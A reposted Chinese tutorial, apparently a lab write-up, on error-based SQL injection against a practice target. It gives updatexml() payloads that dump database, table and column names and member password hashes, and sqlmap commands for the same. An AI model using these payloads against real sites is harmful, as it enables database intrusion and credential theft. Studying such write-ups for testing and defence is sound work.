数据库
首页 > 数据库> > web安全-SQL注入漏洞测试(报错盲注)

web安全-SQL注入漏洞测试(报错盲注)

作者:互联网

1.寻找注入点        

        当我们闭合了第一个参数后有明显的报错信息,我们就可以考虑基于报错的注入了

        http://219.153.49.228:41801/new_list.php?id=1

        

2.报错注入-报错回显

        参考:https://www.jianshu.com/p/bc35f8dd4f7c ;                https://blog.csdn.net/Kevinhanser/article/details/81592866

手动注入

1.爆破数据库

查看数据库名字,本来想用union查询,但是当前网站过滤掉了union,这里用到了updatexml()函数的报错回显功能,会把信息显示在页面中。然后也用到了concat()函数,是连接两个字符串的。

?id=1‘ and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1) --+

?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

2. 有了数据库名字就可以开始爆表了(通过information_schema数据库)

and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='stormgroup'),0x7e),1) --+

3.爆破字段

and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='member'),0x7e),1) --+

4。爆破密码,用户

and updatexml(1,concat(0x7e,(select password from member limit 0,1),0x7e),1) --+ 

 and updatexml(1,concat(0x7e,(select password from member limit 1,1),0x7e),1) --+ 

 

 

注意:这里只获得了31位密码,其实password字段里面的数据是有32位的,只是没显示那么多,所以下面要用substr()去单独获取password字段的最后一位数

and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 0,1),0x7e),1) --+ 

and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 1,1),0x7e),1) --+ 

然后密码拿去MD5网站解码(https://www.cmd5.com/) 

 工具扫描(sqlmap)

清理sqlmap缓存:python sqlmap.py --purge
可以直接用sqlmap扫 
1.爆数据库 sqlmap -u url --dbs 
2.爆表 sqlmap.py -u url -D 数据库 -tables 
3.爆字段名 sqlmap.py -u url -D 数据库 -T 表 columns 
4.爆字段值 sqlmap.py -u url -D 数据库 -T 表 -C name,password,status  
5.之后使用md5解密即可

标签:sqlmap,web,SQL,0x7e,报错,--+,updatexml,password,concat
来源: https://blog.csdn.net/qq_59350385/article/details/119010458